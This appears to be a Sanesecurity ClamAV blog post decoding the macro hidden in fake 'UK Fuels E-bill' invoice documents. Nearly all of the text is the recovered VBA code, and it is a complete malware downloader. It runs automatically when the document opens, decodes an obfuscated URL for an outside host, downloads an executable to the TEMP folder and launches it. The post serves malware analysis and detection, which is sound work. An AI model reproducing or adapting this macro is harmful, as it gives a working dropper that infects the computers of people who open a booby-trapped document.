UK Fuels E-bill invoices decoded

Sanesecurity ClamAV blog: zero hour malware, phishing and scams
A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
http://sanesecurity.blogspot.co.uk/

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal JVHsdfdsf As LongPtr, _
    ByVal reewrgsdfg As String, _
    ByVal hjdfgdf As String, _
    ByVal werwe As Long, _
    ByVal iudfgdf As LongPtr) As LongPtr
#Else

    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal JVHsdfdsf As Long, _
    ByVal reewrgsdfg As String, _
    ByVal hjdfgdf As String, _
    ByVal werwe As Long, _
    ByVal iudfgdf As Long) As Long
#End If


Sub uiwefds()
UGivgHgfdg
End Sub
Sub AutoOpen()
    uiwefds
End Sub
Sub Workbook_Open()
    uiwefds
End Sub
Sub UGivgHgfdg()
    ewrwefdsf = oBKP("K!Ra#160", 56) & oBKP("K!Ra#172", 56) & oBKP("K!Ra#172", 56) & oBKP("K!Ra#168", 56) & oBKP("K!Ra#114", 56) & oBKP("K!Ra#103", 56) & oBKP("K!Ra#103", 56) & oBKP("K!Ra#171", 56) & oBKP("K!Ra#167", 56) & oBKP("K!Ra#164", 56) & _
oBKP("K!Ra#161", 56) & oBKP("K!Ra#156", 56) & oBKP("K!Ra#151", 56) & oBKP("K!Ra#161", 56) & oBKP("K!Ra#166", 56) & oBKP("K!Ra#171", 56) & oBKP("K!Ra#172", 56) & oBKP("K!Ra#153", 56) & oBKP("K!Ra#164", 56) & oBKP("K!Ra#102", 56) & _
oBKP("K!Ra#175", 56) & oBKP("K!Ra#102", 56) & oBKP("K!Ra#161", 56) & oBKP("K!Ra#166", 56) & oBKP("K!Ra#172", 56) & oBKP("K!Ra#157", 56) & oBKP("K!Ra#170", 56) & oBKP("K!Ra#161", 56) & oBKP("K!Ra#153", 56) & oBKP("K!Ra#102", 56) & _
oBKP("K!Ra#168", 56) & oBKP("K!Ra#164", 56) & oBKP("K!Ra#103", 56) & oBKP("K!Ra#162", 56) & oBKP("K!Ra#171", 56) & oBKP("K!Ra#103", 56) & oBKP("K!Ra#154", 56) & oBKP("K!Ra#161", 56) & oBKP("K!Ra#166", 56) & oBKP("K!Ra#102", 56) & _
oBKP("K!Ra#157", 56) & oBKP("K!Ra#176", 56) & oBKP("K!Ra#157", 56)
    ewwfgfdg = Environ(StrReverse("PMET")) & StrReverse("exe.fdsfsd\")
    wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
   Dim gffUYUdfg
    gffUYUdfg = Shell(ewwfgfdg, 1)

End Sub


Public Function oBKP(ByVal yLZy As String, ByVal Cjof As Integer) As String
Dim bcbL As Integer
Dim Lkln, rlys, LBry As String
Lkln = Chr(90 - 15) & Chr(50 - 17)
rlys = Lkln & Chr(100 - 18)
LBry = rlys & Chr(100 - 3) & Chr(50 - 15)
yLZy = Replace(yLZy, LBry, "")
bcbL = CInt(yLZy) - Cjof
ToBE = ToBE & Chr(bcbL)
oBKP = ToBE
End Function